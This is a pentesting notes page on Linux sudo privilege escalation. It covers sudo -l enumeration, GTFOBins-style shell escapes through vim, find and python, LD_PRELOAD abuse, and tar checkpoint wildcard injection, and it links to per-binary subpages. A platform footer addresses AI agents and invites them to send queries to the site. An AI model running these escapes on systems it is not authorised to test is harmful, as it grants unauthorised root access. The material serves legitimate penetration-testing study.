> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/sudoers.md).

# Sudoers

Linux sudoers privilege escalation techniques, sudo -l abuse, allowed binaries, symlink abuse, and sudo version vulnerabilities.

Sudoers privilege escalation starts with the commands a user can run through `sudo`. Misconfigured binaries, unsafe script arguments, symlink handling, and vulnerable sudo versions can turn limited sudo rights into a root shell.

## Methodology

* Run `sudo -l` and document every allowed command, target user, and NOPASSWD rule.
* Check GTFOBins for shell escapes, file writes, and argument-controlled execution.
* Review scripts for writable paths, symlink handling, wildcard expansion, and missing file references.
* Check `sudo --version` when the path depends on a known sudo CVE.

## Quick Checks

```bash
sudo -l
sudo --version
```

## Common Sudo Abuses

When `sudo -l` exposes a command, check whether that command can spawn a shell, write files, follow symlinks, load plugins, or expand attacker-controlled wildcards.

```bash
sudo -i
sudo vim -c '!sh'
sudo find . -exec /bin/sh \; -quit
sudo python -c 'import os; os.system("/bin/sh")'
```

### Environment Variable Preservation

If `env_keep` preserves loader variables, `LD_PRELOAD` or `LD_LIBRARY_PATH` can become useful. Confirm the sudoers rule first:

```bash
sudo -l
sudo LD_PRELOAD=/tmp/evil.so program
```

### Wildcard Exploitation

Wildcard abuse appears when a sudo rule runs a command over attacker-controlled filenames, for example backup jobs using `*.conf` or archives using `*`.

```bash
echo 'command' > exploit.conf
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
sudo /usr/bin/rsync *.conf /backup/
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo awk</h4></td><td>Sudo (awk) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-awk-linux-privilege-escalation.md">Sudo awk - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Nmap</h4></td><td>Sudo (Nmap) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-nmap-linux-privilege-escalation.md">Sudo (Nmap) - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Perl</h4></td><td>Sudo (Perl) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-perl-linux-privilege-escalation.md">Sudo (Perl) - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo GitPython</h4></td><td>Sudo (GitPython) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-gitpython-linux-privilege-escalation.md">Sudo GitPython - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Version CVEs</h4></td><td>Sudo version vulnerability notes for CVE-2019-14287 and CVE-2025-32463 Linux privilege escalation.</td><td><a href="/privesc/sudoers/sudo-version-vulnerabilities-linux-privilege-escalation.md">Sudo Version Vulnerabilities - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo su</h4></td><td>Sudo (su) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-su-linux-privilege-escalation.md">Sudo su - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Knife</h4></td><td>Sudo (Knife) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-knife-linux-privilege-escalation.md">Sudo (Knife) - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo ALL:ALL</h4></td><td>Sudo (ALL:ALL) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-all-all-linux-privilege-escalation.md">Sudo ALL:ALL - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo mosh-server</h4></td><td>Sudo (Mosh-Server) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-mosh-server-linux-privilege-escalation.md">Sudo (Mosh-Server) - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo iptables</h4></td><td>Sudo (iptables) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md">Sudo iptables - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Go</h4></td><td>Sudo (Go) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-go-linux-privilege-escalation.md">Sudo (Go) - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo journalctl</h4></td><td>Sudo (journalctl) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-journalctl-linux-privilege-escalation.md">Sudo journalctl - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Metasploit</h4></td><td>Sudo (Metasploit) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-metasploit-linux-privilege-escalation.md">Sudo (Metasploit) - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Missing File</h4></td><td>Sudo (file not found) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-missing-file-linux-privilege-escalation.md">Sudo Missing File - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo bee Binary</h4></td><td>Sudo (bee Binary) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-bee-binary-linux-privilege-escalation.md">Sudo bee Binary - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo bbot Binary</h4></td><td>Sudo (bbot Binary) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-bbot-binary-linux-privilege-escalation.md">Sudo bbot Binary - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo ACL Symlink Abuse</h4></td><td>Sudo ACL / symbolic link notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-acl-symlink-linux-privilege-escalation.md">Sudo ACL/symlink - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Double Symlink</h4></td><td>Sudo (double symbolic link) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-double-symlink-linux-privilege-escalation.md">Sudo Double Symlink - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo Backup Binary Symlink</h4></td><td>Sudo (backup binary / symbolic link) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md">Sudo Backup Binary Symlink - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-terminal" style="color:$primary;">:terminal:</i></h3></td><td><h4>Sudo backy.sh Script</h4></td><td>Sudo - backy.sh (script) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md">Sudo backy.sh Script - Linux Privilege Escalation</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/sudoers.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
